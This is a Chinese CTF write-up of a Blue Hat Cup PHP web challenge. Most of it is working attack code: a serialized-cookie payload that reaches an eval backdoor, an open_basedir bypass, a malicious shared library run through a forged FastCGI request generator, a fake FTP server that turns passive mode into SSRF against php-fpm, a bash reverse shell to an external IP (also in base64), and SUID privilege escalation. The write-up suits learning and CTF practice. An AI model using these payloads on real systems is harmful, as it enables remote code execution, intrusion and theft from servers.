前言
据说是蓝帽杯初赛的 1 解题,拿来学习一下
题解
给了题目的源码
add_api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php include "user.php"; if($user=unserialize($_COOKIE["data"])){ $count[++$user->count]=1; if($count[]=1){ $user->count+=1; setcookie("data",serialize($user)); }else{ eval($_GET["backdoor"]); } }else{ $user=new User; $user->count=1; setcookie("data",serialize($user)); } ?>
|
user.php
1 2 3 4 5
| <?php class User{ public $count; } ?>
|
源码很简单,主要逻辑在第一个add_api.php文件中,分析一下可以知道,其会接收从cookie传进来的data数据并反序列化。关键是要过这段话$count[]=1
,才能执行eval
最大整数绕过数组赋值
我们要想绕过$count[]=1
,那么只能让这个赋值语句赋值失败,搜索一下可以发现这里有一个对于数组赋值的bug
这个bug中多用了一次$arr[0x80000000]=8;
,实际上不需要这段赋值也可以使得后面的赋值语句失败
也就是说,当给一个数组的PHP_INT_MAX + 1
索引赋值时,会爆warning,不同位数的操作系统PHP_INT_MAX值不同,32位的是0x7FFFFFFF
,64位的是0x7FFFFFFFFFFFFFFF
因此我们这里传入$user->count = 0x7FFFFFFFFFFFFFFF - 1
(9223372036854775806)可以绕过
1
| O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
|
读配置文件
可以执行代码后,看一下phpinfo,可以看到disable_functions:
1
| stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
|
还是一样,禁用了很多可以命令执行的函数,在绕disable_functions之前,先利用一些其他的姿势来看一下相关的配置信息
1.列目录
由于目录权限的限制,部分目录不可列
1 2 3 4 5 6 7 8 9
| $a = new DirectoryIterator("glob:///*"); foreach($a as $f){ echo($f->__toString().'<br>'); }
$a = new DirectoryIterator("glob:///var/www/html/*"); foreach($a as $f){ echo($f->__toString().'<br>'); }
|
2.绕open_basedir读敏感文件
由于是php,且在phpinfo中看到了FPM/FastCGI,可以知道是php-fpm进程管理的FastCGI。于是读一下nginx相关的配置文件
1 2 3 4 5 6 7
| mkdir('c'); chdir('c'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); var_dump(file_get_contents("/etc/nginx/nginx.conf"));
|
读了之后发现php-fpm的端口是9001,且使用的TCP连接的
1 2 3 4 5 6 7
| location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9001; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /var/www/html/$fastcgi_script_name; include fastcgi_params; }
|
尝试打了一下FPM未授权访问的RCE,发现弹不回shell,直接打貌似打不通。
伪造FastCGI加载恶意.so
尝试一通发现可以通过加载恶意so的方式来RCE/突破open_basedir,先写一个恶意so文件
1 2 3 4 5 6 7 8
| #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h>
__attribute__ ((__constructor__)) void preload (void){ system("ls / >/var/www/html/dd"); }
|
在linux上编译一下
1
| gcc hpdoger.c -fPIC -shared -o hpdoger.so
|
然后把这个上传到/var/www/html上
然后再把加载恶意so的pwn.php的exp也上传到/var/www/html上,注意下面参数中.so文件所在目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350
| <?php
class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; }
public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } }
public function getKeepAlive() { return $this->_keepAlive; }
private function connect() { if (!$this->_sock) { $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } }
private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . chr(($clen >> 8 ) & 0xFF) . chr($clen & 0xFF) . chr(0) . chr(0) . $content; }
private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { $nvpair .= chr($vlen); } else { $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } return $nvpair . $name . $value; }
private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; }
private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; }
private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } }
public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } }
public function request(array $params, $stdin) { $response = '';
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); echo('?file=ftp://ip:9999/&data='.urlencode($request));
} } ?> <?php
$filepath = "/var/www/html/add_api.php"; $req = '/'.basename($filepath); $uri = $req .'?'.'command=whoami'; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; $php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = hpdoger.so\nopen_basedir = /\nauto_prepend_file = "; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=whoami', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9001', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) );
echo $client->request($params, $code)."\n"; ?>
|
现在pwn.php和恶意so文件都准备好了,访问一下pwn.php,就可以得到我们的恶意bin
1
| %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BCPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
|
接下来要寻找一种方式来把我们的恶意bin发送到php-fpm的9001端口上,这里我们需要考虑PHP Stream Wrapper(php支持和封装的协议)下有没有什么可以利用的协议,然后配合file_put_contents
通过SSRF的方式打到9001上
这里有权限限制,无法读取任意文件
端口探测,不能发送数据
压根就没用
没链子,打不了
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
上面四个需要安装PECL扩展,本身也无法利用
最后就只剩下FTP协议满足我们的要求了,既可以发送数据,又正好不受其他权限的限制
FTP Passive Mode发bin给php-fpm
从上面的分析我们知道,可以利用file_get_contents
配合ftp://
协议来把恶意bin打到FastCGI上,这里又牵扯到FTP的主动/被动模式,我们需要利用FTP的被动模式来伪造客户端端口,使得服务端将数据发送到9001端口上。这是因为在FTP被动模式下,是由客户端主动向服务端发起请求,并告知服务端需要连接交互的端口,所以这里的端口是客户端可控可伪造的。因此我们可以在起一个FTP的客户端,模拟发送FTP passive mode的包,当服务端通过ftp://<VPS>:<PORT>
和客户端发起交互时,客户端模拟Passive Mode请求,其中伪造端口为127.0.0.1:9001,这样服务端就会把恶意bin打到php-fpm上从而完成RCE。
好了,我们来实施整个流程。
- 准备一个ftp.py来起ftp服务模拟客户端请求,端口绑定到自己vps的7777端口上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 7777)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n')
conn.send(b'331 Please specify the password.\n')
conn.send(b'230 Login successful.\n')
conn.send(b'200 Switching to Binary mode.\n')
conn.send(b'550 Could not get the file size.\n')
conn.send(b'150 ok\n')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') conn.send(b'150 Permission denied.\n')
conn.send(b'221 Goodbye.\n') conn.close()
|
- 准备一个file.php并上传到/var/www/html,用来SSRF发送恶意bin
1 2 3 4 5
| <?php $file = $_GET['file']; $data = $_GET['data']; var_dump(file_put_contents($file, $data));
|
在自己的vps上启动ftp.py
访问file.php,带着数据打一发出去
1
| file.php?file=ftp://<VPS>:7777&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BCPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
|
int(681)
说明var_dump
输出正常。那么就是打成功了,这时再去访问一下蚁剑连的shell,是可以突破open_basedir到根目录看到flag了。
suid提权
直接读flag发现不行,看权限也知道700,本身自己是www-data,所以需要提权。在蚁剑上的shell提权不太好弄,把前面的hpdoger.c文件的命令改成反弹shell
1
| bash -c 'bash -i >& /dev/tcp/101.132.159.30/8888 0>&1'
|
切记,这里尽量使用bash -c 'xxx'
来反弹shell,直接bash -i
可能弹不回来
1
| {echo,'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx'}|{base64,-d}|bash
|
拿到shell之后,利用一个小工具LinEnum
探测一下哪些可执行文件带了suid
1
| /var/www/html/LinEnum.sh -s -r report -e /tmp/ -t
|
发现/usr/local/bin/php
直接就带了suid,那么可以利用前面突破open_basedir读敏感文件的方式直接读flag,写一个flag.php文件,由于权限的问题,我们还是写在/var/www/html下
1 2 3 4 5 6 7
| mkdir('c'); chdir('c'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); var_dump(file_get_contents("/etc/nginx/nginx.conf"));
|
然后就可以get flag了
总结
短小精悍的题目往往藏着很多的知识点。对于这种操作比较多的题目,尽量每一步都小心清楚一些。做这道题的时候可能会卡壳的一些地方有:
赋值语句在if的条件判断中怎么绕?由于赋值语句不会给你来个bool状态,所以要利用赋值语句出错爆warning的方式来绕if
有disable_functions和open_basedir怎么绕?关于disable_functions的绕过有很多中方式,这篇文章总结的不错
打FastCGI怎么发恶意bin?考虑FTP的passive mode
反弹shell弹不回来怎么办?
反弹语句是否写错
靶机的shell的权限是否够
是否是一些特殊符号的转义问题?
尝试bash -c
的方式
suid提权
疑惑了一会的问题
读配置文件的时候读到Nginx和php-fpm通信的方式是通过TCP而不是unix套接字。而两种通信方式在pwn.php生成的恶意bin数据都是一样的,也就是说我们通过FTP向php-fpm发送的数据不取决于Nginx和php-fpm的通信方式。
1 2
| $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $client = new FCGIClient("127.0.0.1", 9001);
|
为什么呢?unix和tcp的区别究竟在哪?先来看一下一个完整的FPM/FastCGI的流程(图片@https://xz.aliyun.com/t/5598#toc-1)
先不看上面拿tcp流的bin数据直接打php-fpm的方式。如果看过P牛的php-fpm未授权访问的文章,并且之前也经常用过流传于世的打php-fpm的fpm.py脚本,结合php-fpm和nginx的通信方式,你是否想过这个脚本起的服务替代了上面流程的哪一个过程?
其实很明显,脚本的内容封装了伪造的FastCGI的数据并发送给FPM,所以脚本起的服务就是跳过了Nginx封装FastCGI数据这一流程,直接和FPM通信,也可以这么理解:脚本起的服务替代了Nginx,然后与FPM建立通信,所以这里就要区别Nginx和FPM的通信方式了(TCP或Unix套接字)
fpm.py的利用都是使用的TCP的方式进行通信,那么能不能使用Unix呢?当然不行,Unix套接字并非网络协议,其无法通过网络进行传输。
Unix domain socket 或者 IPC socket是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。与管道相比,Unix domain sockets 既可以使用字节流和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播。
解决了对于fpm.py通过TCP连接的方式来打PHP-FPM未授权访问RCE的问题。回到我们前面的疑惑。我们这题的利用是通过SSRF的方式将恶意的bin数据发送到PHP-FPM上。为什么要SSRF?按理说上面的方式拿fpm.py直接打不行吗?
测试不行。因为读不到/etc/php/7.4/fpm/pool.d/www.conf
这个配置文件,所以无法确切的知道listen = 0.0.0.0:9001
还是127.0.0.1:9001。如果是第二种的话,那么说明FPM只监听在127.0.0.1这个地址的9001端口上,而我们用fpm.py打的时候是服务的公网地址,因此是打不到的,所以在127.0.01的情况下我们只能SSRF。
利用SSRF的话,那么还是会经过Nginx传输给FPM,由于Nginx和FPM的通信方式我们无法决定,这是服务器就已经确定好了的,所以我们上面pwn.php的作用仅仅只是生成tcp数据流而非像fpm.py一样还要模拟nginx与php-fpm通信,而这个tcp数据流无论是以TCP的方式还是unix套接字的方式,发送的数据都是一样的。至此,疑惑也就拨开了。
参考
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html
https://github.com/rebootuser/LinEnum
https://err0r.top/article/bluehat2021/
https://xz.aliyun.com/t/5598#toc-3